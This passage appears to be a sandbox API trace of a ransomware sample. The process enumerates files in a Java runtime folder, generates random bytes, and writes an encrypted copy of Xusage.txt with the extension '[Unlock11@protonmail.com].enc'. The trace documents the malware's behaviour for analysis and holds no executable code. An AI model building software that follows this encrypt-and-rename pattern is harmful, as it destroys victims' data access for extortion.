files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20 [0125.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0125.324] GetCurrentThreadId () returned 0x9b0 [0125.324] GetLastError () returned 0x12 [0125.324] GetLastError () returned 0x12 [0125.324] GetLastError () returned 0x12 [0125.324] GetLastError () returned 0x12 [0125.324] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll", lpFilePart=0x9bada4*="deployJava1.dll") returned 0x3f [0125.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0125.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0125.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0125.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0125.325] GetCurrentThreadId () returned 0x9b0 [0125.325] GetLastError () returned 0x12 [0125.325] GetLastError () returned 0x12 [0125.325] GetLastError () returned 0x12 [0125.325] GetLastError () returned 0x12 [0125.325] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll", lpFilePart=0x9bada4*="npdeployJava1.dll") returned 0x41 [0125.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0125.325] GetCurrentThreadId () returned 0x9b0 [0125.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0125.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0125.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0125.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.326] GetCurrentThreadId () returned 0x9b0 [0125.326] GetLastError () returned 0x12 [0125.326] GetLastError () returned 0x12 [0125.326] GetLastError () returned 0x12 [0125.326] GetLastError () returned 0x12 [0125.326] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0125.326] GetLastError () returned 0x12 [0125.326] GetCurrentThreadId () returned 0x9b0 [0125.326] GetLastError () returned 0x12 [0125.327] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0125.327] GetLastError () returned 0x12 [0125.327] GetCurrentThreadId () returned 0x9b0 [0125.327] GetLastError () returned 0x12 [0125.327] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0125.327] GetLastError () returned 0x12 [0125.327] GetCurrentThreadId () returned 0x9b0 [0125.327] GetLastError () returned 0x12 [0125.327] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0125.327] GetLastError () returned 0x12 [0125.327] GetCurrentThreadId () returned 0x9b0 [0125.327] GetLastError () returned 0x12 [0125.327] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="npjp2.dll", cAlternateFileName="")) returned 0 [0125.328] GetLastError () returned 0x12 [0125.328] GetCurrentThreadId () returned 0x9b0 [0125.328] GetLastError () returned 0x12 [0125.328] GetLastError () returned 0x12 [0125.328] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0125.328] GetLastError () returned 0x12 [0125.328] GetLastError () returned 0x12 [0125.328] GetLastError () returned 0x12 [0125.328] GetLastError () returned 0x12 [0125.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0125.329] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20 [0125.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0125.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0125.329] GetCurrentThreadId () returned 0x9b0 [0125.329] GetLastError () returned 0x12 [0125.329] GetLastError () returned 0x12 [0125.329] GetLastError () returned 0x12 [0125.329] GetLastError () returned 0x12 [0125.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0125.330] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20 [0125.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0125.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.330] GetLastError () returned 0x12 [0125.330] GetLastError () returned 0x12 [0125.330] GetLastError () returned 0x12 [0125.330] GetLastError () returned 0x12 [0125.330] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll", lpFilePart=0x9bada4*="msvcr100.dll") returned 0x3b [0125.330] GetCurrentThreadId () returned 0x9b0 [0125.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0125.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0125.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0125.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0125.331] GetCurrentThreadId () returned 0x9b0 [0125.331] GetLastError () returned 0x12 [0125.331] GetLastError () returned 0x12 [0125.331] GetLastError () returned 0x12 [0125.331] GetLastError () returned 0x12 [0125.331] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll", lpFilePart=0x9bada4*="npjp2.dll") returned 0x38 [0125.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.332] GetCurrentThreadId () returned 0x9b0 [0125.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0125.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0125.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.332] GetCurrentThreadId () returned 0x9b0 [0125.332] GetLastError () returned 0x12 [0125.332] GetLastError () returned 0x12 [0125.332] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0125.332] GetCurrentThreadId () returned 0x9b0 [0125.333] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0125.333] GetCurrentThreadId () returned 0x9b0 [0125.333] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0125.333] GetCurrentThreadId () returned 0x9b0 [0125.333] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x866c40, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0125.333] GetCurrentThreadId () returned 0x9b0 [0125.333] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0125.333] GetCurrentThreadId () returned 0x9b0 [0125.333] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Xusage.txt", cAlternateFileName="")) returned 0 [0125.334] GetCurrentThreadId () returned 0x9b0 [0125.334] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0125.334] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0x21 [0125.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0125.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0125.334] GetCurrentThreadId () returned 0x9b0 [0125.334] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0125.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0125.335] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0125.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0125.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0125.335] GetCurrentThreadId () returned 0x9b0 [0125.335] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", lpFilePart=0x9bada4*="classes.jsa") returned 0x39 [0125.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0125.336] GetCurrentThreadId () returned 0x9b0 [0125.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0125.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.336] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll", lpFilePart=0x9bada4*="jvm.dll") returned 0x35 [0125.336] GetCurrentThreadId () returned 0x9b0 [0125.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0125.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0125.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0125.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0125.337] GetCurrentThreadId () returned 0x9b0 [0125.337] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt", lpFilePart=0x9bada4*="Xusage.txt") returned 0x38 [0125.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0125.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0125.337] GetCurrentThreadId () returned 0x9b0 [0125.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ff0 [0125.337] GetCurrentThreadId () returned 0x9b0 [0125.337] GetCurrentThreadId () returned 0x9b0 [0125.338] GetCurrentThreadId () returned 0x9b0 [0125.338] GetCurrentThreadId () returned 0x9b0 [0125.338] GetCurrentThreadId () returned 0x9b0 [0125.338] GetCurrentThreadId () returned 0x9b0 [0125.338] GetCurrentThreadId () returned 0x9b0 [0125.338] GetCurrentThreadId () returned 0x9b0 [0125.338] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f)) returned 1 [0125.338] GetCurrentThreadId () returned 0x9b0 [0125.338] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b64c | out: pbBuffer=0x366b64c) returned 1 [0125.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0125.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0125.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0125.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5eb0 [0125.339] GetCurrentThreadId () returned 0x9b0 [0125.339] GetCurrentThreadId () returned 0x9b0 [0125.339] GetCurrentThreadId () returned 0x9b0 [0125.339] GetCurrentThreadId () returned 0x9b0 [0125.339] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.340] GetFileType (hFile=0x39c) returned 0x1 [0125.340] GetCurrentThreadId () returned 0x9b0 [0125.340] GetFileType (hFile=0x39c) returned 0x1 [0125.340] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.340] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.340] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.340] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.340] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.340] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.340] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.341] GetLastError () returned 0x0 [0125.341] GetCurrentThreadId () returned 0x9b0 [0125.341] GetLastError () returned 0x0 [0125.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265298 | out: hHeap=0x2ad0000) returned 1 [0125.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0125.341] GetLastError () returned 0x0 [0125.341] GetLastError () returned 0x0 [0125.341] GetLastError () returned 0x0 [0125.341] GetLastError () returned 0x0 [0125.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0125.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653c8 [0125.342] GetLastError () returned 0x0 [0125.342] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.342] GetFileType (hFile=0x3ac) returned 0x1 [0125.342] GetLastError () returned 0x0 [0125.342] GetCurrentThreadId () returned 0x9b0 [0125.342] GetLastError () returned 0x0 [0125.342] GetFileType (hFile=0x3ac) returned 0x1 [0125.343] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.343] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.343] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.343] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.343] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.343] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.343] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.343] GetLastError () returned 0x0 [0125.343] GetCurrentThreadId () returned 0x9b0 [0125.343] GetLastError () returned 0x0 [0125.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653c8 | out: hHeap=0x2ad0000) returned 1 [0125.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0125.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0125.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.344] GetLastError () returned 0x0 [0125.344] GetLastError () returned 0x0 [0125.344] GetCurrentThreadId () returned 0x9b0 [0125.344] GetLastError () returned 0x0 [0125.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0125.344] GetLastError () returned 0x0 [0125.344] GetLastError () returned 0x0 [0125.344] GetCurrentThreadId () returned 0x9b0 [0125.344] GetLastError () returned 0x0 [0125.345] GetLastError () returned 0x0 [0125.346] GetLastError () returned 0x0 [0125.346] GetCurrentThreadId () returned 0x9b0 [0125.346] GetLastError () returned 0x0 [0125.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0125.346] GetCurrentThreadId () returned 0x9b0 [0125.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x5a8) returned 0x35d6358 [0125.347] GetLastError () returned 0x0 [0125.347] GetLastError () returned 0x0 [0125.347] GetLastError () returned 0x0 [0125.347] GetLastError () returned 0x0 [0125.347] GetCurrentThreadId () returned 0x9b0 [0125.347] GetLastError () returned 0x0 [0125.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6358 | out: hHeap=0x2ad0000) returned 1 [0125.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.348] GetLastError () returned 0x0 [0125.348] GetLastError () returned 0x0 [0125.348] GetCurrentThreadId () returned 0x9b0 [0125.348] GetLastError () returned 0x0 [0125.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3891a30 | out: hHeap=0x2ad0000) returned 1 [0125.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8af8 [0125.348] GetLastError () returned 0x0 [0125.348] GetLastError () returned 0x0 [0125.348] GetCurrentThreadId () returned 0x9b0 [0125.348] GetLastError () returned 0x0 [0125.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8af8 | out: hHeap=0x2ad0000) returned 1 [0125.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.349] GetLastError () returned 0x0 [0125.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0125.350] CloseHandle (hObject=0x3ac) returned 1 [0125.350] GetLastError () returned 0x0 [0125.350] GetCurrentThreadId () returned 0x9b0 [0125.350] GetLastError () returned 0x0 [0125.350] GetLastError () returned 0x0 [0125.350] CloseHandle (hObject=0x39c) returned 1 [0125.350] GetLastError () returned 0x0 [0125.351] GetCurrentThreadId () returned 0x9b0 [0125.351] GetLastError () returned 0x0 [0125.351] GetLastError () returned 0x0 [0125.351] GetLastError () returned 0x0 [0125.351] GetLastError () returned 0x0 [0125.351] 